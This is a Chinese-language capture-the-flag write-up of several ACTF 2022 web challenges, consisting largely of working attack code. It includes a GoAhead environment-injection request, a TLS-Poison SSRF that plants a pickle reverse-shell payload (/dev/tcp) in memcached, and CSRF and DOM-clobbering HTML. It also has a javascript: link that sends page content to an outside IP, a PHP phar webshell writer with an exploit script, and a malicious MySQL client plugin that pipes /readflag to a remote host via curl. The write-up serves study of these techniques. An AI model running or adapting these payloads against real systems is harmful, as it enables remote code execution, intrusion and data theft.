gogogo
下附件,src全是二进制文件,dockerfile得知是GoAhead,目测出网
http://123.60.84.229:10218/cgi-bin/hello可以看环境变量,显然是打GoAhead那个cve,尝试直接打iscc那个bash注入(换成劫持env)
POST /cgi-bin/hello HTTP/1.1
Host: 123.60.84.229:10218
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarylNDKbe0ngCGdEiPM
Content-Length: 184
------WebKitFormBoundarylNDKbe0ngCGdEiPM
Content-Disposition: form-data; name="BASH_FUNC_echo%%"
Content-Type: text/plain
() { cat /flag; }
------WebKitFormBoundarylNDKbe0ngCGdEiPM--
ACTF{s1mple_3nv_1nj3ct1on_and_w1sh_y0u_hav3_a_g00d_tim3_1n_ACTF2022}
- 最开始我脑子短路了,去劫持echo,还在想为什么是白屏啊(这不废话),然后还试了LD_PRELOAD传.so,令人感叹
ToLeSion
http://123.60.131.135:10023
参考:pycurl doc | flask插件系列之flask_session会话机制 | Memcached stats 命令
一个flask,比较特别的地方在于memcached,所有的python第三方库都是最新
其中memcached在本地起着服务,位于127.0.0.1:11200,不对外开放,参与缓存flask的session
# start.sh
memcached -d -m 50 -p 11200 -u root
# app.py
app.config['SESSION_MEMCACHED'] = memcache.Client(['127.0.0.1:11200'])
一共就一个路由
app = Flask(__name__)
app.debug = True
app.secret_key = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(56)) # 随机key
app.config['SESSION_TYPE'] = 'memcached'
app.config['SESSION_PERMANENT'] = True
app.config['SESSION_USE_SIGNER'] = False
app.config['SESSION_KEY_PREFIX'] = 'actfSession:'
app.config['SESSION_MEMCACHED'] = memcache.Client(['127.0.0.1:11200']) # memcache本地服务端地址
Session(app)
# 跳转至?url参数指定的网址
@app.route('/')
def index():
buffer=BytesIO() # 字节流缓冲区
if request.args.get('url'):
url = request.args.get('url')
c = pycurl.Curl() # 默认不跟随重定向 处理单一url 同名参数取第一个
c.setopt(c.URL, url) # url参数的全部 此时无过滤
c.setopt(c.FTP_SKIP_PASV_IP, 0) # (不)跳过PASV的IP地址 ftp
c.setopt(c.WRITEDATA, buffer) # 为响应提供缓冲区
blacklist = [c.PROTO_DICT, c.PROTO_FILE, c.PROTO_FTP, c.PROTO_GOPHER, c.PROTO_HTTPS, c.PROTO_IMAP, c.PROTO_IMAPS, c.PROTO_LDAP, c.PROTO_LDAPS, c.PROTO_POP3, c.PROTO_POP3S, c.PROTO_RTMP, c.PROTO_RTSP, c.PROTO_SCP, c.PROTO_SFTP, c.PROTO_SMB, c.PROTO_SMBS, c.PROTO_SMTP, c.PROTO_SMTPS, c.PROTO_TELNET, c.PROTO_TFTP] # 禁用的协议
allowProtos = c.PROTO_ALL
for proto in blacklist:
allowProtos = allowProtos&~(proto)
c.setopt(c.PROTOCOLS, allowProtos) # 还剩FTPS, HTTP, RTMPT, RTMPTE, RTMPTS,貌似可用的只有HTTP?
c.perform()
c.close()
return buffer.getvalue().decode('utf-8')
else:
return redirect('?url=http://www.baidu.com',code=301)
访问127.0.0.1:5000是可以的,11200会500
本地起个docker看看memcached
是序列化后的内容,emm,考虑构造ftps协议的内容触发pickle反序列化?
————比赛的时候就想到这里,搜到了几篇文章,但过程过于复杂就放弃了,下面是赛后复现
主要参考陆队这两篇文章->一篇文章带你读懂 TLS Poison 攻击 | TLS-Poison 攻击方式在 CTF 中的利用实践,还有赵总的这篇文章->基于 A 和 AAAA 记录的一种新 DNS Rebinding 姿势–从西湖论剑2020 Web HelloDiscuzQ 题对 Blackhat 上的议题做升华 ,前置内容可以参考TLS 握手优化详解
先简单了解一下TLS Poison:
根据我们对TLS连接过程的了解,不论在TLS 1.2或是1.3中都会使用类似cookie的32位sessionID来验证客户端的身份,这个凭据由服务端下发至客户端,服务端不保存,当客户端HTTPS访问站点时服务端会对其进行解密;此时如果我们有一个恶意的服务器,向客户端分发特制的凭据,客户端就会把这个凭据存储起来
在实际进行HTTPS请求之前,客户端需要对域名进行DNS查询,如果DNS缓存过期则会再进行一次DNS查询,如果没有过期,很容易联想到DNS重绑定
第一次请求时返回指向我们恶意服务器的IP,使第一次TLS握手成功 客户端缓存恶意的凭据,在第二次请求需要恢复会话时发起第二次DNS请求,此时返回重绑定的结果127.0.0.1,当客户端恢复会话时客户端会用我们恶意服务器下发的凭据与127.0.0.1尝试TLS握手,也就是说对内网地址进行一次请求
有一张很直观的图可以辅助理解
回到本题,我们可以利用的服务是ftps,当客户端使用ftps://ip:port/访问ftp服务器时,ftp在被动模式下向客户端指定数据传输的ip和端口,我们需要将payload的部分通过ftp请求的方式进行传输,同时要注意满足TLS的解析
首先用TLS-Poison来实现TLS层的解析,通过下面的命令监听8000端口并将tls解析之后应用层的内容转发给1234端口
target/debug/custom-tls -p 8000 --verbose --certs /etc/letsencrypt/live/<your_domain>/fullchain.pem --key /etc/letsencrypt/live/<your_domain>/privkey.pem forward 1234
使用redis设置payload:
set payload "\r\nset actfSession:whatever 0 0 <len>\n(S'/bin/bash -c \"/bin/bash -i >& /dev/tcp/<your_domain>/8080 0>&1\"'\nios\nsystem\n.\r\n"
经过8000端口的解析,转发到1234端口的内容就是普通的ftp请求了。在1234端口开启一个被动模式返回ip和端口是ssrf目标的ftp服务即可,针对本题就是127.0.0.1的11200端口:
python3 FTPserverForTLSpoison.py 1234 127.0.0.1 11200
控制目标机访问ftps://<your_domain>:8000/,即可触发上述TLS-Poison流程,向memcached写入序列化字符串
beWhatYouWannaBe
http://124.71.180.254:10022
惯例先看bot行为
const puppeteer = require('puppeteer');
const process = require('process')
const ADMIN_USERNAME = 'admin'
const ADMIN_PASSWORD = process.env.password
const FLAG = require('./config').FLAG
const view = async(url) => {
const browser = await puppeteer.launch({
headless: true,
args: ['--no-sandbox', '--disable-setuid-sandbox']
})
const page = await browser.newPage()
await page.goto('http://localhost:8000/login') // 以admin登入
await page.type("#username", ADMIN_USERNAME)
await page.type("#password", ADMIN_PASSWORD)
await page.click('#btn-login')
// get flag1
await page.goto(url, { timeout: 5000 }) // 访问我们的url 无过滤
// get flag2
await page.setJavaScriptEnabled(false) // 禁用页面js
await page.goto(url, { timeout: 5000 })
await page.evaluate((url, FLAG) => {
if (fff.lll.aaa.ggg.value == "this_is_what_i_want") { // 页面标签?
fetch(url + '?part2=' + btoa(encodeURIComponent(FLAG.substring(16)))) // 将后一部分flag作为query参数访问url 后半部分flag只有这种方式获取
} else {
fetch(url + '?there_is_no_flag')
}
}, url, FLAG)
await browser.close()
}
exports.view = view
再看app,/flag路由直接给前半部分
app.get('/flag', (req, res) => {
if (!req.session.user) {
res.send(FAKE_FLAG)
return
}
User.findOne({ username: req.session.user }, (err, user) => {
if (err) {
res.send({ err: err })
return
}
if (user.isAdmin) {
// part 1
res.send(FLAG.substring(0, 16))
} else {
res.send(FAKE_FLAG)
}
})
})
还有个成为魔法少女admin的路由
app.post('/beAdmin', (req, res) => {
if (req.session.user != 'admin') {
res.send("sorry, only admin can be admin")
return
}
const username = req.body.username
const csrftoken = req.body.csrftoken
if (ValidateToken(csrftoken)) {
User.updateMany({ username: username }, { isAdmin: true },
(err, users) => {
if (err) {
res.send('something error when being admin')
return
}
if (users.length == 0) {
res.send('no one can be admin')
} else {
res.send('wow success wow')
}
}
)
} else {
res.send('validate error')
}
})
思路比较清晰,构造payload1.html,其中包含js脚本让admin访问/beAdmin让我们自己的账号成为admin,访问/flag获取前半flag,需要绕过csrftoken
const ValidateToken = (Token) => {
var sha256 = crypto.createHash('sha256');
return sha256.update(Math.sin(Math.floor(Date.now() / 1000)).toString()).digest('hex') === Token;
}
我们可以大致爆破/预测
而第二部分flag,由于禁用了页面js,我们可以随意发挥的地方就只有css和少得可怜的html标签了,需要满足的关键条件是
fff.lll.aaa.ggg.value == "this_is_what_i_want"
ggg.value被嵌套在上面几层的引用,可以参照陆队这篇文章
<iframe name=fff srcdoc="<iframe srcdoc='<input id=aaa name=ggg href=cid:Clobbered
value=this_is_what_i_want>test</input><a id=aaa>' name=lll>"></iframe>
payload参考Nu1L战队的wp
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<form id="form" action="<http://localhost:8000/beAdmin>" method="post">
<input name="username" value="awc">
<input id="csrftoken" name="csrftoken" value="">
</form>
<iframe name=fff srcdoc="<iframe srcdoc='<input id=aaa name=ggg href=cid:Clobbered
value=this_is_what_i_want>test</input><a id=aaa>' name=lll>"></iframe>
<script src="crypto-js.min.js"></script> <!--同目录下传一份-->
<script>
csrftoken.value = CryptoJS.SHA256(Math.sin(Math.floor(Date.now() /
1000)).toString()).toString(CryptoJS.enc.Hex);
form.submit();
</script>
</body>
</html>
尴尬的是只能获得这后半部分,csrftoken总是爆破不对,这里参考SU战队的wp
javascript:s=q=>window.open('http://101.35.114.107:2301/?q='+encodeURIComponent(q));s('start');w=window.open('/flag');setTimeout(()=>{s('timeout');s(w.document.body.innerText)},1000)
直接转发一手responseText即可,但是尴尬的是打比赛的时候我想到了,但是用的是笨拙的xhr,就没成功…………我太菜了
*poorui
http://124.71.181.238:8081/
当时没来得及看这道题,但是看wp貌似很简单(非预期?)
burp拦截websocket
{"api":"getflag","from":"admin"}
预期解还没有看,挖个坑
myclient
http://124.71.205.170:10047
远程的环境的/tmp是固定的,不需要sql注入,/tmp目录每五分钟清理一次
这个index.php很难不让人有既视感,详情参见->TQLCTF-SQL_TEST出题笔记
对比两道题目的源码,有以下几个地方不一样(突破点):
根本没有初始化数据库(所以不用注库或表),只有一个初始账号
Dockerfile中有这样的设置
RUN echo "\nSetHandler application/x-httpd-php\n" >> /etc/apache2/apache2.conf
RUN echo "\nLoadModule php7_module modules/libphp7.so\n" >> /etc/apache2/apache2.conf
在可访问到的web目录下不用.php系列后缀也可以被解析为php了,并且手动启用libphp7的模块用来支持php7
- 没有pop+phar的点,但同样必须RCE
相同的地方是都设了secret_file_priv到/tmp下一个临时目录,和本地的是一样的(所以提升不用注 笑死)
失败的尝试
缺少的框架pop我们可以换成原生类,比如原生类SplFileObject写文件;另外再把MYSQLI_SERVER_PUBLIC_KEY的值改为目标环境下的29
初步payload
<?php
define("EV", "eva"."l");
define("GETCONT", "fil"."e_get_contents");
define("D",(GETCONT)('/var/www/html/index.php')[10]);
define("SHELL","<?php ".EV."(".D."_POST['a']);");
echo SHELL;
class TestObject {
public function __destruct(){
$file = new SplFileObject("/var/www/html/res", "w"); // 被反序列化后创建webshell
$written = $file->fwrite(SHELL);
}
}
$phar = new Phar('phar.phar');
$phar -> startBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>'); // 设置stub,增加gif文件头
$phar -> addFromString('test.txt','test'); // 添加要压缩的文件
$object = new TestObject();
$object -> data = 'wuhu';
$phar -> setMetadata($object); // 将自定义meta-data存入manifest
$phar -> stopBuffering();
// for test
file_get_contents('phar:///tmp/e10adc3949ba59abbe56e057f20f883e/phar.phar'); // 顺利的话会在/var/www/html/res有个webshell
exp.py
import re
import requests, string, random, os, time
url = "http://101.35.114.107:10047"
#url = "http://124.71.205.170:10047"
def req(key, value):
resp = requests.get(url + "/index.php/", params={'key': key, 'value': value})
return resp
def exp(secure_file_path):
filename = "".join(random.sample(string.ascii_letters, 6)) + '.phar'
file = os.path.join(secure_file_path, filename)
# write phar file
hex_data = open("phar.phar", "rb").read().hex()
command = "select 0x{} into dumpfile '{}'".format(hex_data, file)
req('3', command)
# check file exists
command = "select if((ISNULL(load_file('{}'))),sleep(2),1)".format(file)
if req('3', command).elapsed.seconds > 1.5:
print("file write fail!")
exit()
# clean the cache
flush = req('3',"FLUSH PRIVILEGES")
print(flush.text)
time.sleep(2)
# trigger unserialize
resp = req('29', 'phar://' + file)
print("unser: " + resp.text)
if __name__ == '__main__':
secure_file_path = '/tmp/e10adc3949ba59abbe56e057f20f883e/'
exp(secure_file_path)
结果发现可以写phar,但是反序列化失败,原因是RELOAD没有被授权给mysql,所以无法FLUSH PRIVILEGES,就无法清除缓存
mysql -u root -e "CREATE USER '$MYSQL_USER'@'%' IDENTIFIED BY '$MYSQL_PASS';";
mysql -u root -e "GRANT SELECT on mysql.* to '$MYSQL_USER'@'%';FLUSH PRIVILEGES;";
mysql -u root -e "GRANT FILE on *.* to '$MYSQL_USER'@'%';FLUSH PRIVILEGES;";
因为倒霉的权限,改密码来强制清空缓存也是不现实的
update user set authentication_string='' where user='test';
# UPDATE command denied to user 'test'@'localhost' for table 'user' in /var/www/html/index.php
ALTER USER 'test'@'localhost' IDENTIFIED BY '123456';
# mysqli_real_connect(): (42000/1227): Access denied; you need (at least one of) the CREATE USER privilege(s) for this operation in /var/www/html/index.php
正确的思路:
首先用MYSQLI_INIT_COMMAND
写一个恶意的.so文件(包含mysql连接信息,同时可以rce并外带flag),然后再写一个Defaults配置将client plugin-dir指向/tmp下面那个目录,之后通过MYSQLI_READ_DEFAULT_FILE
指定为那个配置信息,触发.so
payload参考自SU战队wp
#include <mysql/client_plugin.h>
#include <mysql.h>
#include <stdio.h>
/*
Ubuntu x86_64:
apt install libmysqlclient-dev
gcc -shared -I /usr/include/mysql/ -o evilplugin.so evilplugin.c
NOTE: the plugin_name MUST BE the full name with the directory traversal!!!
*/
static int evil_init(char * a, size_t b , int c , va_list ds)
{
system("/readflag | curl -XPOST http://101.35.114.107:8426/ -d @-");
return NULL;
}
static int evilplugin_client(MYSQL_PLUGIN_VIO *vio, MYSQL *mysql)
{
int res;
res= vio->write_packet(vio, (const unsigned char *) mysql->passwd, strlen(mysql->passwd) + 1);
return CR_OK;
}
mysql_declare_client_plugin(AUTHENTICATION)
"auth_simple", /* plugin name */
"Author Name", /* author */
"Any-password authentication plugin", /* description */
{1,0,0}, /* version = 1.0.0 */
"GPL", /* license type */
NULL, /* for internal use */
evil_init, /* no init function */
NULL, /* no deinit function */
NULL, /* no option-handling function */
evilplugin_client /* main function */
mysql_end_client_plugin;
gcc t.c -fPIC -shared -o poc.so
本地环境拉了,一直编译不成功 即使已经安装了对应的库。。。。。。
(真的不是我懒((((((((